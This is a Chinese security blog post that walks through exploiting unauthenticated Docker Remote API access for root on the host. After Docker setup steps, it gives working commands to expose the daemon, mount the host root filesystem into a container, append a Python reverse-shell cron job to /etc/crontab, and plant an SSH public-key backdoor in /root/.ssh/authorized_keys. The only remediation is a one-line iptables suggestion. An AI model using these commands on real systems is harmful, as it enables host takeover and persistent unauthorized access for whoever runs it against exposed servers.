神刀安全网

Docker Remote API未授权访问漏洞利用

0x00. 概述

docker remote api未授权访问和redis未授权访问类似。

前者是root权限执行任意命令,后者是root权限写任意文件。

其实利用这个漏洞,docker容器里面的数据可能会比本机上的数据更有趣。所以,拿到root权限用处不大。

下面简单分享下如何利用docker remote api未授权访问漏洞拿到root权限

0x01. docker安装

测试环境: Linux ubuntu 3.13.0-65-generic

安装的详细文章可以参考:

https://yeasy.gitbooks.io/docker_practice/content/install/ubuntu.html

https://docs.docker.com/engine/installation/linux/ubuntulinux/

首先需要安装 apt-transport-https 包支持 https 协议的源

$ sudo apt-get update $ sudo apt-get install apt-transport-https ca-certificates 

添加源的 gpg 密钥

$ sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D 

创建 /etc/apt/sources.list.d/docker.list 文件,内容是 deb https://apt.dockerproject.org/repo ubuntu-trusty main
可以用如下命令:

cat <<EOF > /etc/apt/sources.list.d/docker.list deb https://apt.dockerproject.org/repo ubuntu-trusty main EOF 

添加成功后,更新 apt 软件包缓存

$ sudo apt-get update 

在 Ubuntu 14.04 或者 12.04上安装Docker,需要安装apparmor(apparmor是Linux内核的一个安全模块,新版本的Ubuntu已经被整合到内核):

$ sudo apt-get install apparmor 

安装docker

apt-get install -y docker-engine 

开启docker服务

service docker start 

测试docker是否安装成功

docker run hello-world 
root@ubuntu:~# docker run hello-world  Hello from Docker. This message shows that your installation appears to be working correctly. 

0x02. 漏洞测试

在开启docker服务的时候,用以下命令启动即可造成docker remote api未授权访问漏洞,

sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock 

这样启动的话,重启docker服务需要kill相关进程,再打开进程

pgrep docker | xargs kill -9 

在测试的时候,端口我修改为2377

查看安装的镜像

docker -H tcp://x.x.x.x:2377 images 

0x03. 漏洞利用

将系统根目录的文件挂在到/mnt目录,此时修改/mnt/etc/crontab相当于修改/etc/crontab文件

docker -H tcp://x.x.x.x:2377 run -it -v /:/mnt ubuntu /bin/bash 

Docker Remote API未授权访问漏洞利用

此时再反弹shell注意:ubuntu下/etc/crontab不需要600权限,并且不能使用bash -i

echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((/"127.0.0.1/",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/"/bin/sh/",/"-i/"]);'/n" >> /mnt/etc/crontab 

Docker Remote API未授权访问漏洞利用

创建.ssh目录

mkdir /mnt/root/.ssh 

写ssh公钥后门

echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6J9qhHmNbHel1K12US9/TFhj4D0jPzfECNUhHzAZ1fWItaIXRJfQEY8iRLAilpp5483qHSS35Z5DR9mN5CqV23B1++/S1XJPS2GbERNuoEsbuaQQuCqt/oVWiOuFTQ6AXb9hvOul1XLZ+0vp4S4INO5W0w/jli2xenNQ+uC6Q4vtMvA48Vx7acZuz2FOI4b6ZhA5UWTiVKGPCd0Y3cmOKBVcJnH4rwd+P0FzrJW+yDxPwrRJ/tR1yioRIiw3j00wnJ8+4M/+tq1vzuTJt5JZ67i0Uf7LE/4MW7KIPpEmftXVbdYAWvN3ty1J7iVHXofKLgm4s2kxL+aFQEa8g72DzQ== macbook@wangsicong/n" >> /mnt/root/.ssh/authorized_keys  

0x04. 漏洞修复

用iptables关闭2375端口对外访问

0x05. 参考链接:

  1. https://yeasy.gitbooks.io/docker_practice/content/install/ubuntu.html
  2. https://docs.docker.com/engine/installation/linux/ubuntulinux/
  3. http://zone.wooyun.org/content/27302

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » Docker Remote API未授权访问漏洞利用

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址